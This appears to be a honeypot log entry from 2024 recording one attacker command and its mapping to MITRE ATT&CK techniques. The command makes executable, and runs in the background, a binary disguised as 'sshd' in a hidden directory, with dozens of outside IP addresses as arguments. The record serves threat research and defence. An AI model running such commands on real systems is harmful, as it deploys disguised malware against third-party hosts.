Honeypot attack session (period 2024), commands issued:
chmod +x ./.1508351529360408296/sshd;nohup ./.1508351529360408296/sshd 89.116.73.228 45.85.88.2 23.145.168.126 183.131.186.36 186.233.119.15 143.198.99.244 27.128.245.170 183.131.22.164 39.105.61.38 188.92.28.249 180.163.61.238 115.238.185.62 222.186.42.113 185.22.65.186 183.134.74.142 107.172.108.61 152.89.170.200 173.212.242.177 59.38.100.77 3.238.74.163 23.94.136.106 185.124.108.182 106.116.209.107 117.161.233.102 180.76.97.38 111.67.195.36 47.236.106.83 27.150.17.206 124.118.249.114 36.158.206.226 125.124.199.57 222.186.10.214 93.123.85.185 51.15.202.128 107.172.84.105 36.108.168.4 109.120.135.182 47.102.128.57 111.180.193.157 43.248.188.103 103.244.80.196 54.176.121.78 14.116.213.236 114.113.151.152 159.65.20.186 183.252.11.28 43.248.188.109 106.116.209.121 117.161.138.2 5.250.180.124 144.126.132.126 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter